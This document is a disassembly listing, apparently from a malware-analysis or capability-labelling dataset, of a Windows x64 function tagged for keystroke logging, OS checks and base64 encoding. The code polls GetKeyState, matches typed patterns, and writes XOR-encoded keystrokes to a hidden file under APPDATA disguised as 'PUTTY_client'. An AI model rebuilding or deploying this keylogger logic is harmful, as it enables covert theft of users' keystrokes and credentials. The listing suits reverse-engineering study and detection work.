Function at 0x1400010ef
Capabilities:
Check os version
Encode data using base64
Log keystrokes via polling

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
mov eax, 0x202b8
call fcn.140004ab3
sub rsp, rax
movdqa xmmword [rsp + 0x202a0], xmm7
movdqa xmmword [rsp + 0x20290], xmm6
movabs r15, 0xaaaaaaaaaaaaaaaa
lea rsi, [rsp + 0x270]
mov rcx, rsi
call sub.KERNEL32.dll_GetSystemTimeAsFileTime
movabs rcx, 0xfe624e212ac18000
add rcx, qword [rsi]
mov edx, 0x64
mov rax, rcx
imul rdx
mov r8, rax
mov rdi, rdx
mov r9d, 0xa
mov rax, rcx
cqo
idiv r9
mov rbx, rax
lea rcx, [rsp + 0x240]
mov qword [rcx + 8], rdi
mov qword [rcx], r8
lea rdx, [rsp + 0x230]
mov qword [rdx], 0x3e8
and qword [rdx + 8], 0
call fcn.140004be5
sar rdi, 0x3f
pxor xmm6, xmm6
pcmpeqd xmm0, xmm6
movmskps eax, xmm0
xor ecx, ecx
xor eax, 0xf
cmovne rcx, rdi
add rcx, rbx
mov qword [rsi], rcx
lea rsi, [rsp + 0x270]
mov rcx, rsi
call fcn.140003d4d
mov rdi, rax
mov rcx, rsi
call fcn.140003d4d
mov rbx, rax
mov rcx, rsi
call fcn.140003d4d
mov r14, rax
mov rcx, rsi
call fcn.140003d4d
mov qword [rsp + 0x200], rdi
mov qword [rsp + 0x208], rbx
mov qword [rsp + 0x210], r14
mov qword [rsp + 0x218], rax
movdqu xmmword [rsi + 8], xmm6
mov qword [rsi], r15
movups xmm6, xmmword [0x140005038]
movups xmmword [rsi + 0x18], xmm6
lea rcx, [rsp + 0x270]
mov edx, 8
call fcn.140003d98
test ax, ax
je 0x14000122c
mov r15d, eax
jmp 0x140001627
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x102a0], rax
movdqu xmm0, xmmword [rsp + 0x270]
movdqu xmm1, xmmword [rsp + 0x280]
movdqa xmmword [rsp + 0x10290], xmm1
movdqa xmmword [rsp + 0x10280], xmm0
xor eax, eax
lea r12, str.APPDATA
lea rdx, [0x140025096]
movabs r8, 0x809080a080
movabs r9, 0x8fbf9fbfbf
cmp rax, 7
jae 0x14000132a
movzx r10d, byte [rax + r12]
mov ecx, 1
test r10b, r10b
js 0x1400012a2
add rax, rcx
jmp 0x140001284
movzx ecx, byte [r10 + rdx]
cmp rcx, 0xf1
je 0x140001313
mov r10d, ecx
and r10d, 7
lea r11, [rax + r10]
cmp r11, 7
ja 0x140001313
shr cl, 1
and cl, 0x78
mov rsi, r8
shr rsi, cl
mov r11, r9
shr r11, cl
mov cl, byte [rax + r12 + 1]
cmp cl, sil
jb 0x140001313
cmp cl, r11b
ja 0x140001313
movzx ecx, r10b
cmp cl, 2
je 0x14000129d
cmp ecx, 3
jne 0x1400012fe
mov ecx, 3
cmp byte [rax + r12 + 2], 0xbf
jle 0x14000129d
jmp 0x140001313
cmp byte [rax + r12 + 2], 0xbf
jg 0x140001313
mov ecx, 4
cmp byte [rax + r12 + 3], 0xc0
jl 0x14000129d
lea rcx, [rsp + 0x10280]
call fcn.140002df7
mov r15w, 3
jmp 0x140001627
xor r13d, r13d
lea r14, [rsp + 0xc0]
lea rsi, [rsp + 0x270]
lea rdi, [rsp + 0x10280]
cmp r13, 6
ja 0x14000136a
lea rbx, [r12 + r13]
mov dl, byte [r13 + r12]
mov rcx, r14
call fcn.140002eef
movzx r8d, byte [rsp + 0xc2]
add r13, r8
jmp 0x14000136f
xor ebx, ebx
xor r8d, r8d
test rbx, rbx
je 0x140001438
mov rcx, rsi
mov rdx, rbx
call fcn.140002f42
movzx eax, word [rsp + 0x270]
movzx ebx, byte [rsp + 0x272]
and ebx, 0x1f
shl ebx, 0x10
or ebx, eax
mov rdx, qword [rsp + 0x10288]
cmp ebx, 0x10000
jae 0x1400013e4
inc rdx
mov rcx, rdi
call fcn.1400043ca
test ax, ax
jne 0x140001617
mov rax, qword [rsp + 0x10280]
mov rcx, qword [rsp + 0x10288]
lea rdx, [rcx + 1]
mov qword [rsp + 0x10288], rdx
mov word [rax + rcx*2], bx
jmp 0x140001345
add rdx, 2
mov rcx, rdi
call fcn.1400043ca
test ax, ax
jne 0x140001617
mov eax, ebx
and eax, 0x3ff
shl eax, 0x10
add ebx, 0x1f0000
shr ebx, 0xa
or ebx, eax
mov rax, qword [rsp + 0x10280]
mov rcx, qword [rsp + 0x10288]
lea rdx, [rcx + 2]
mov qword [rsp + 0x10288], rdx
or ebx, 0xdc00d800
mov dword [rax + rcx*2], ebx
jmp 0x140001345
lea rcx, [rsp + 0x10280]
mov rdx, qword [rcx + 8]
inc rdx
call fcn.140003d98
mov r15d, eax
test ax, ax
jne 0x14000161a
lea rsi, [rsp + 0x10298]
mov r14, qword [rsi - 0x18]
mov rax, qword [rsi - 0x10]
mov rdi, qword [rsi - 8]
lea rbx, [rax + 1]
mov qword [rsi - 0x10], rbx
and word [r14 + rax*2], 0
movdqu xmm0, xmmword [rsi]
lea rcx, [rsp + 0xa0]
movdqa xmmword [rcx], xmm0
mov rdx, r14
mov r8, rdi
mov r9, rbx
call fcn.1400042f9
test al, 1
jne 0x140001502
lea r15, [rsp + 0x270]
lea rdx, [rsp + 0xa0]
mov rcx, r15
mov r8, rbx
call fcn.140004354
movzx r15d, word [r15 + 0x10]
test r15w, r15w
jne 0x14000161a
mov rbx, qword [rsp + 0x270]
mov r8, qword [rsp + 0x278]
add r8, r8
mov rcx, rbx
mov rdx, r14
call fcn.140004c6f
movdqu xmm0, xmmword [rsi]
lea rcx, [rsp + 0xc0]
movdqa xmmword [rcx], xmm0
mov rdx, r14
mov r8, rdi
call fcn.140003e2f
mov r14, rbx
mov qword [rsp + 0x60], r14
mov rcx, r14
call fcn.140003e73
mov rdi, rax
mov r15, rdx
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rbp, qword [rax + 0x80]
add r15d, r15d
xor r14d, r14d
lea r13, [rsp + 0x270]
movzx eax, word [rbp + r14*2]
cmp eax, 0x3d
je 0x140001552
mov rsi, r14
test eax, eax
jne 0x140001556
jmp 0x14000164e
lea rsi, [r14 + 1]
lea rax, [r14*2]
add rax, rbp
lea ecx, [rsi + rsi]
add r14d, r14d
sub ecx, r14d
movzx r12d, word [rbp + rsi*2]
test r12d, r12d
je 0x140001583
cmp r12d, 0x3d
je 0x140001583
inc rsi
add ecx, 2
jmp 0x14000156a
xor r14d, r14d
cmp r12w, 0x3d
sete r14b
add r14, rsi
lea rdx, [r14*2]
add rdx, rbp
xor ebx, ebx
cmp word [rdx + rbx*2], 0
lea rbx, [rbx + 1]
jne 0x14000159f
mov word [rsp + 0x10280], r15w
mov word [rsp + 0x10282], r15w
mov qword [rsp + 0x10288], rdi
mov word [rsp + 0x270], cx
mov word [rsp + 0x272], cx
mov qword [rsp + 0x278], rax
lea rcx, [rsp + 0x10280]
mov rdx, r13
mov r8b, 1
call sub.ntdll.dll_RtlEqualUnicodeString
add r14, rbx
cmp al, 1
jne 0x14000153b
xor eax, eax
cmp r12w, 0x3d
sete al
add rax, rsi
lea rdi, [rax*2]
add rdi, rbp
dec rbx
jmp 0x140001652
mov r15d, eax
lea rcx, [rsp + 0x10280]
call fcn.140002df7
mov eax, r15d
movaps xmm6, xmmword [rsp + 0x20290]
movaps xmm7, xmmword [rsp + 0x202a0]
add rsp, 0x202b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor edi, edi
xor ebx, ebx
mov rcx, qword [rsp + 0x60]
xor edx, edx
mov r8d, 0x8000
call sub.KERNEL32.dll_VirtualFree
test rdi, rdi
movabs r14, 0xaaaaaaaaaaaaaaaa
je 0x1400016a0
pxor xmm7, xmm7
lea rcx, [rsp + 0x270]
movdqu xmmword [rcx + 8], xmm7
mov qword [rcx], r14
movups xmmword [rcx + 0x18], xmm6
mov rdx, rbx
call fcn.140003e8a
test ax, ax
je 0x1400016a7
mov r13d, eax
jmp 0x140001a4b
mov r15w, 2
jmp 0x140001627
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x102a0], rax
movups xmm0, xmmword [rsp + 0x270]
movups xmm1, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0x10290], xmm1
movaps xmmword [rsp + 0x10280], xmm0
mov rcx, qword [rsp + 0x10280]
mov r13, qword [rsp + 0x10288]
mov r12, rbx
add r12, rbx
movdqa xmm0, xmmword [0x1400259a0]
movdqa xmm1, xmmword [0x1400259b0]
cmp rbx, 8
jb 0x14000173b
movdqu xmm2, xmmword [rdi]
movdqa xmm3, xmm0
psubusw xmm3, xmm2
pcmpeqw xmm3, xmm7
pmovmskb eax, xmm3
test eax, eax
jne 0x14000173b
pand xmm2, xmm1
packuswb xmm2, xmm2
movq qword [rcx + r13], xmm2
add r13, 8
add rdi, 0x10
add rbx, 0xfffffffffffffff8
add r12, 0xfffffffffffffff0
jmp 0x1400016fd
mov qword [rsp + 0x60], rcx
lea rcx, [rsp + 0x10280]
test rbx, rbx
mov eax, 2
cmove rdi, rax
mov qword [rcx + 8], r13
cmove r12, rbx
xor ebx, ebx
mov rsi, r13
cmp rbx, r12
je 0x140001940
movzx eax, word [rdi + rbx]
lea rcx, [rbx + 2]
mov edx, eax
and edx, 0xfc00
cmp edx, 0xd800
je 0x1400017ab
cmp edx, 0xdc00
je 0x140001a2b
mov word [rsp + 0x270], ax
mov byte [rsp + 0x272], 0
lea rax, [rsp + 0x270]
mov rbx, rcx
jmp 0x1400017ff
cmp rcx, r12
lea r8, [rsp + 0xc0]
jae 0x140001a32
movzx ecx, word [rdi + rcx]
mov edx, ecx
and edx, 0xfc00
cmp dx, 0xdc00
jne 0x140001a39
mov edx, 0x3ff
and eax, edx
shl eax, 0xa
and ecx, edx
add eax, ecx
add eax, 0x10000
add rbx, 4
mov word [rsp + 0xc0], ax
shr eax, 0x10
mov byte [rsp + 0xc2], al
mov rax, r8
movzx ecx, word [rax]
movzx ebp, byte [rax + 2]
shl ebp, 0x10
or ebp, ecx
lea rcx, [rsp + 0x120]
mov edx, ebp
call fcn.140002e40
movzx r15d, byte [rsp + 0x122]
add r13, r15
lea rcx, [rsp + 0x10280]
mov rdx, r13
call fcn.140003f1e
test ax, ax
jne 0x140001a26
mov r14, r13
mov qword [rsp + 0x10288], r13
mov rax, qword [rsp + 0x10280]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x270]
mov edx, ebp
call fcn.140002e40
cmp word [rsp + 0x270], 0
je 0x140001883
add rsi, r15
movabs r14, 0xaaaaaaaaaaaaaaaa
jmp 0x140001761
movzx eax, byte [rsp + 0x272]
dec eax
lea rcx, section..rdata
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rsp + 0x60]
mov byte [rax + rsi], bpl
jmp case.default.0x14000189b
movdqu xmm0, xmmword [rsp + 0x10298]
lea rcx, [rsp + 0xa0]
movdqa xmmword [rcx], xmm0
mov r15, qword [rsp + 0x10290]
mov rbx, qword [rsp + 0x60]
mov rdx, rbx
mov r8, r15
mov r9, r13
call fcn.140003f4c
test al, 1
jne 0x1400019e3
lea r12, [rsp + 0x270]
lea rdx, [rsp + 0xa0]
mov rcx, r12
mov r8, r13
call fcn.140003f99
movzx r13d, word [r12 + 0x10]
test r13w, r13w
jne 0x140001a3e
mov r12, qword [rsp + 0x270]
mov r13, qword [rsp + 0x278]
mov rcx, r12
mov rdx, rbx
mov r8, r13
call fcn.140004c6f
lea rax, [rsp + 0x10298]
movdqu xmm0, xmmword [rax]
lea rcx, [rsp + 0xc0]
movdqa xmmword [rcx], xmm0
mov rdx, rbx
mov r8, r15
call fcn.14000107f
mov rbx, r12
pxor xmm0, xmm0
lea rcx, [rsp + 0x138]
movdqu xmmword [rcx + 8], xmm0
mov qword [rcx], r14
movups xmmword [rcx + 0x18], xmm6
mov dl, 0x20
call fcn.1400010ba
test ax, ax
je 0x140001a62
mov r15d, eax
lea rcx, [rsp + 0x138]
call fcn.140001036
lea rcx, [0x140005038]
mov rdx, rbx
jmp 0x140001ad3
mov r13d, eax
jmp 0x140001a3e
mov r13w, 0x28
jmp 0x140001a3e
mov r13w, 0x26
jmp 0x140001a3e
mov r13w, 0x27
lea rcx, [rsp + 0x10280]
call fcn.140001036
lea eax, [r13 - 0x26]
cmp ax, 3
mov r15d, 3
cmovae r15d, r13d
jmp 0x140001627
mov qword [rsp + 0x60], rbx
mov rsi, 0xffffffffffffffe6
lea r12, [rsp + 0x138]
test rsi, rsi
je 0x140001a90
lea edx, [rsi + 0x5b]
mov rcx, r12
call fcn.1400010ba
inc rsi
test ax, ax
je 0x140001a76
jmp 0x140001ab7
mov rsi, 0xfffffffffffffff6
lea r12, [rsp + 0x138]
test rsi, rsi
je 0x140001ae0
lea edx, [rsi + 0x3a]
mov rcx, r12
call fcn.1400010ba
inc rsi
test ax, ax
je 0x140001a9f
mov r15d, eax
lea rcx, [rsp + 0x138]
call fcn.140001036
lea rcx, [0x140005038]
mov rdx, qword [rsp + 0x60]
mov r8, r13
call fcn.14000107f
jmp 0x140001627
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x250], xmm0
movaps xmmword [rsp + 0x260], xmm6
lea r12, [rsp + 0x160]
movdqa xmmword [r12], xmm0
movaps xmmword [r12 + 0x10], xmm6
mov rbp, qword [rsp + 0x138]
mov rbx, qword [rsp + 0x140]
xor esi, esi
cmp rbx, rsi
je 0x140001b4c
mov dl, byte [rbp + rsi]
mov rcx, r12
xor r8d, r8d
call fcn.140002682
inc rsi
test ax, ax
je 0x140001b1b
mov r15d, eax
lea rcx, [rsp + 0x160]
call fcn.140002aaa
jmp 0x140001aba
mov qword [rsp + 0x70], r13
pxor xmm7, xmm7
lea rcx, [rsp + 0x110]
movdqu xmmword [rcx - 0x10], xmm7
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rcx - 0x18], rax
movups xmmword [rcx], xmm6
lea rax, [rbx - 1]
mov qword [rsp + 0x1b8], rax
lea rsi, [rsp + 0x6e]
lea r15, [rsp + 0x160]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], rax
mov dword [rsp + 0x94], eax
mov dword [rsp + 0x98], eax
mov dword [rsp + 0x9c], eax
xor eax, eax
mov qword [rsp + 0x1c0], rbx
cmp rax, rbx
jne 0x140001bce
mov ecx, 0xa
call sub.KERNEL32.dll_Sleep
xor eax, eax
jmp 0x140001bbb
mov rdi, rbp
mov rbx, rax
movzx ebp, byte [rbp + rax]
mov ecx, ebp
call sub.USER32.dll_GetKeyState
test ax, ax
jns 0x140001bfa
mov rcx, rsi
mov rdx, r15
mov r8d, ebp
call fcn.140002ab3
cmp byte [rsp + 0x6e], 0
je 0x140001c46
mov ecx, ebp
call sub.USER32.dll_GetKeyState
test ax, ax
js 0x140001ef3
lea rcx, [rsp + 0x86]
mov rdx, r15
mov r8d, ebp
call fcn.140002ab3
cmp byte [rsp + 0x86], 1
jne 0x140001ef3
mov rcx, r15
mov edx, ebp
xor r8d, r8d
call fcn.140002682
test ax, ax
je 0x140001ef3
jmp 0x14000256c
mov rcx, r15
mov edx, ebp
mov r8b, 1
call fcn.140002682
test ax, ax
jne 0x14000256c
lea rcx, [rsp + 0xf8]
mov edx, ebp
call fcn.1400010ba
test ax, ax
jne 0x14000256c
mov rbp, qword [rsp + 0x100]
cmp rbp, 0x200
jbe 0x140001da0
mov eax, 1
mov r15, qword [rsp + 0xf8]
cmp rbp, rax
je 0x140001ca9
mov cl, byte [r15 + rax]
mov byte [r15 + rax - 1], cl
inc rax
jmp 0x140001c96
mov rsi, qword [rsp + 0x108]
lea rax, [rsp + 0x110]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xa0], xmm0
mov ebp, 0x200
mov r9d, 0x200
lea rcx, [rsp + 0xa0]
mov rdx, r15
mov r8, rsi
call fcn.140003f4c
test al, 1
je 0x140001cf2
mov esi, 0x200
jmp 0x140001d88
lea rax, [rsp + 0x110]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0xc0], xmm0
mov ebp, 0x200
mov r8d, 0x200
lea rcx, [rsp + 0x270]
lea rdx, [rsp + 0xc0]
call fcn.140003f99
cmp word [rsp + 0x280], 0
jne 0x140001d88
mov rcx, qword [rsp + 0x270]
mov qword [rsp + 0xb8], rcx
mov rbp, qword [rsp + 0x278]
mov rdx, r15
mov r8, rbp
call fcn.140004c6f
lea rax, [rsp + 0x110]
movdqu xmm0, xmmword [rax]
movdqa xmmword [rsp + 0x10280], xmm0
lea rcx, [rsp + 0x10280]
mov rdx, r15
mov r8, rsi
call fcn.14000107f
mov rsi, rbp
mov r15, qword [rsp + 0xb8]
mov qword [rsp + 0xf8], r15
mov qword [rsp + 0x100], rbp
mov qword [rsp + 0x108], rsi
cmp rbp, 7
jbe 0x140001eee
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0xb8], rax
lea r15, [rax + rbp]
add r15, 0xfffffffffffffff8
xor eax, eax
xor ecx, ecx
mov r9d, 0xbf
cmp rcx, 8
je 0x140001df8
test cl, 1
sete dl
mov r8d, 0xd0
cmove r8d, r9d
shl dl, 4
or dl, 0xa
add r8b, byte [r15 + rcx]
cmp r8b, dl
adc rax, 0
inc rcx
jmp 0x140001dcc
cmp rax, 8
jne 0x140001eee
lea rcx, [0x140026040]
call sub.KERNEL32.dll_AcquireSRWLockExclusive
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rsi, qword [rax + 0x30]
mov qword [rsp + 0xc0], rsi
mov qword [rsp + 0x10280], rsi
mov r8d, 0xb
lea rcx, [rsp + 0x10280]
lea rdx, str.Matched____s_n
call fcn.140004009
test ax, ax
jne 0x140001e95
mov edx, 8
mov rcx, r15
lea r8, [0x140025330]
lea r9, [rsp + 0xc0]
call fcn.140004457
test ax, ax
jne 0x140001e95
mov qword [rsp + 0x270], rsi
mov r8d, 1
lea rcx, [rsp + 0x270]
lea rdx, [0x14002601a]
call fcn.140004009
lea rcx, [0x140026040]
call fcn.140004d50
lea rcx, [rsp + 0x198]
movdqu xmmword [rcx], xmm7
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x190], rax
movups xmmword [rcx + 0x10], xmm6
xor esi, esi
cmp qword [rsp + 0x70], rsi
je 0x140001f11
mov rax, qword [rsp + 0x60]
mov dl, byte [rax + rsi]
lea rcx, [rsp + 0x190]
call fcn.1400010ba
inc rsi
test ax, ax
je 0x140001ec5
jmp 0x14000255a
lea rsi, [rsp + 0x6e]
mov rax, rbx
inc rax
mov rbp, rdi
mov rbx, qword [rsp + 0x1c0]
lea r15, [rsp + 0x160]
jmp 0x140001bbb
lea rcx, [rsp + 0x190]
mov dl, 0x5c
call fcn.1400010ba
test ax, ax
jne 0x14000255a
xor esi, esi
cmp rsi, 0xc
je 0x140001f55
lea rax, str.PUTTY_client
mov dl, byte [rsi + rax]
lea rcx, [rsp + 0x190]
call fcn.1400010ba
inc rsi
test ax, ax
je 0x140001f2b
jmp 0x14000255a
mov r15, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
lea rcx, [rsp + 0x270]
xor edx, edx
mov r8, r15
mov r9, rsi
call fcn.140003257
cmp word [rsp + 0x10278], 0
jne 0x14000202e
mov r8d, 0x10008
lea rcx, [rsp + 0x10280]
lea rdx, [rsp + 0x270]
call fcn.140004c6f
mov r8, qword [rsp + 0x10280]
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rax, qword [rax + 0x48]
movabs rcx, 0x780100000
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xc0], rax
and qword [rsp + 0xc8], 0
mov dword [rsp + 0xd8], 2
mov word [rsp + 0xdc], 0x101
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0x10288]
lea r9, [rsp + 0xc0]
call fcn.14000409b
cmp word [rsp + 0xa8], 0
jne 0x14000202e
mov rcx, qword [rsp + 0xa0]
call sub.ntdll.dll_NtClose
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
mov rdx, qword [rax + 0x48]
lea rcx, [rsp + 0x270]
mov qword [rsp + 0x78], rdx
mov r8, r15
mov r9, rsi
call fcn.140003257
movzx r15d, word [rsp + 0x10278]
test r15w, r15w
jne 0x14000255d
mov r8d, 0x10008
lea rcx, [rsp + 0x10280]
lea rdx, [rsp + 0x270]
call fcn.140004c6f
lea rsi, [rsp + 0x10288]
mov rcx, rsi
call fcn.140003e73
lea ecx, [rdx + rdx]
mov word [rsp + 0x120], cx
mov word [rsp + 0x122], cx
mov qword [rsp + 0x128], rsi
mov rcx, rax
call fcn.140004969
test al, 1
mov eax, 0
mov rcx, qword [rsp + 0x78]
cmovne rcx, rax
mov dword [rsp + 0xc0], 0x30
mov qword [rsp + 0xc8], rcx
lea rax, [rsp + 0x120]
mov qword [rsp + 0xd0], rax
and dword [rsp + 0xd8], 0
lea rax, [rsp + 0xe0]
movdqu xmmword [rax], xmm7
and dword [rsp + 0x50], 0
and qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x4021
mov dword [rsp + 0x38], 1
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0x80
and qword [rsp + 0x20], 0
lea rcx, [rsp + 0x1d0]
mov edx, 0x1200a8
lea r8, [rsp + 0xc0]
lea r9, [rsp + 0xa0]
call sub.ntdll.dll_NtCreateFile
test eax, eax
jne 0x140002601
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x1e0]
movdqu xmmword [rcx], xmm7
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x1d8], rax
movups xmmword [rcx + 0x10], xmm6
xor esi, esi
cmp rsi, 0x20
je 0x1400022ae
mov al, 1
lea r15, [rsp + 0x200]
mov edx, dword [rsp + 0x9c]
mov r8d, dword [rsp + 0x98]
mov r9d, dword [rsp + 0x94]
mov r10, qword [rsp + 0x188]
mov r11, qword [rsp + 0x180]
test al, 1
je 0x14000220d
mov rcx, r15
call fcn.140004925
mov r13, rax
mov edx, r13d
shr edx, 8
mov r8d, r13d
shr r8d, 0x10
mov r9d, r13d
shr r9d, 0x18
mov r10, rax
shr r10, 0x20
mov r11, rax
shr r11, 0x28
mov r14, rax
shr r14, 0x30
mov r12, rax
shr r12, 0x38
xor eax, eax
jmp 0x1400021ca
movzx eax, r12b
shl rax, 0x38
movzx ecx, r14b
shl rcx, 0x30
or rcx, rax
mov qword [rsp + 0x180], r11
movzx eax, r11b
shl rax, 0x28
or rax, rcx
mov qword [rsp + 0x188], r10
movzx ecx, r10b
shl rcx, 0x20
or rcx, rax
mov dword [rsp + 0x94], r9d
movzx eax, r9b
shl rax, 0x18
or rax, rcx
mov dword [rsp + 0x98], r8d
movzx ecx, r8b
shl rcx, 0x10
or rcx, rax
mov dword [rsp + 0x9c], edx
movzx edx, dl
shl rdx, 8
or rdx, rcx
movzx eax, r13b
or rax, rdx
mul qword [rsp + 0x1b8]
mov dl, byte [rdx + rdi + 1]
lea rcx, [rsp + 0x1d8]
call fcn.1400010ba
inc rsi
test ax, ax
je 0x14000218f
jmp 0x1400025ac
mov r8, qword [rsp + 0x1d8]
mov r9, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x270]
mov rdx, qword [rsp + 0x78]
call fcn.140003257
movzx r15d, word [rsp + 0x10278]
test r15w, r15w
jne 0x1400025e5
mov r8d, 0x10008
lea rcx, [rsp + 0x10280]
lea rdx, [rsp + 0x270]
call fcn.140004c6f
movabs rax, 0x740100000
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xc0], rax
and qword [rsp + 0xc8], 0
mov r8, qword [rsp + 0x10280]
mov dword [rsp + 0xd8], 5
mov word [rsp + 0xdc], 0x100
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x10288]
lea r9, [rsp + 0xc0]
call fcn.14000409b
movzx r15d, word [rsp + 0x128]
test r15w, r15w
jne 0x1400025e5
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x88], rax
test byte [0x140005058], 3
je 0x1400023f2
movzx eax, byte [0x140005058]
and eax, 3
cmp eax, 2
jne 0x14000239f
mov al, 1
jmp 0x1400023a1
xor eax, eax
mov byte [rsp + 0x48], al
lea rax, [0x140026020]
mov qword [rsp + 0x30], rax
lea rax, [0x140026048]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x40], 0
and qword [rsp + 0x38], 0
mov rcx, qword [rsp + 0x88]
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call sub.ntdll.dll_NtLockFile
test eax, eax
jne 0x140002656
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x1c8], rax
mov r9, qword [rsp + 0x202f8]
lea rcx, [rsp + 0x10280]
lea rdx, [0x140005038]
mov r8, rbp
call fcn.140003cd1
movzx r15d, word [rsp + 0x10288]
test r15w, r15w
jne 0x1400025d8
mov rax, qword [rsp + 0x10280]
mov qword [rsp + 0x130], rax
lea rcx, [rsp + 0x278]
movdqu xmmword [rcx], xmm7
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rsp + 0x270], rax
movups xmmword [rcx + 0x10], xmm6
mov rax, qword [rsp + 0xb8]
mov dl, byte [rax]
lea rcx, [rsp + 0x270]
call fcn.1400010ba
test ax, ax
jne 0x1400025b1
mov esi, 1
cmp rbp, rsi
je 0x1400024c1
mov rax, qword [rsp + 0x270]
mov dl, byte [rax + rsi - 1]
mov rax, qword [rsp + 0xb8]
xor dl, byte [rax + rsi]
lea rcx, [rsp + 0x270]
call fcn.1400010ba
inc rsi
test ax, ax
je 0x14000248b
jmp 0x1400025b1
mov rdx, qword [rsp + 0x270]
mov rsi, qword [rsp + 0x130]
mov rcx, rsi
mov r8, rbp
call fcn.140004c6f
lea rcx, [rsp + 0x270]
call fcn.140001036
lea rcx, [rsp + 0x220]
lea rdx, [rsp + 0x1c8]
mov r8, rsi
mov r9, rbp
call fcn.140002b70
movzx r15d, word [rsp + 0x228]
mov rcx, rsi
mov rdx, rbp
call fcn.140002c58
mov rcx, qword [rsp + 0x88]
call sub.ntdll.dll_NtClose
lea rcx, [rsp + 0x1d8]
call fcn.140001036
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtClose
lea rcx, [rsp + 0x190]
call fcn.140001036
test r15w, r15w
lea rsi, [rsp + 0x6e]
je 0x140001ef3
jmp 0x14000256f
mov r15d, eax
lea rcx, [rsp + 0x190]
call fcn.140001036
jmp 0x14000256f
mov r15d, eax
lea rcx, [rsp + 0xf8]
call fcn.140001036
lea rcx, [rsp + 0x160]
call fcn.140002aaa
lea rcx, [rsp + 0x138]
call fcn.140001036
lea rcx, [0x140005038]
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
jmp 0x140001ad6
mov r15d, eax
jmp 0x1400025e5
mov r15d, eax
lea rcx, [rsp + 0x270]
call fcn.140001036
lea rcx, [0x140005038]
mov rdx, qword [rsp + 0x130]
mov r8, rbp
call fcn.14000107f
mov rcx, qword [rsp + 0x88]
call sub.ntdll.dll_NtClose
lea rcx, [rsp + 0x1d8]
call fcn.140001036
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtClose
jmp 0x14000255d
cmp eax, 0xc0000103
je 0x140002638
cmp eax, 0xc0000033
je 0x140002642
cmp eax, 0xc0000034
je 0x14000262e
cmp eax, 0xc000003a
je 0x14000262e
cmp eax, 0xc0000022
jne 0x14000264c
mov r15w, 4
jmp 0x14000255d
mov r15w, 0xa
jmp 0x14000255d
mov r15w, 0xd
jmp 0x14000255d
mov r15w, 0xf
jmp 0x14000255d
mov r15w, 0x12
jmp 0x14000255d
cmp eax, 0xc0000055
je 0x14000266e
cmp eax, 0xc000009a
jne 0x140002678
mov r15w, 0xb
jmp 0x1400025d8
mov r15w, 0x1d
jmp 0x1400025d8
mov r15w, 0x12
jmp 0x1400025d8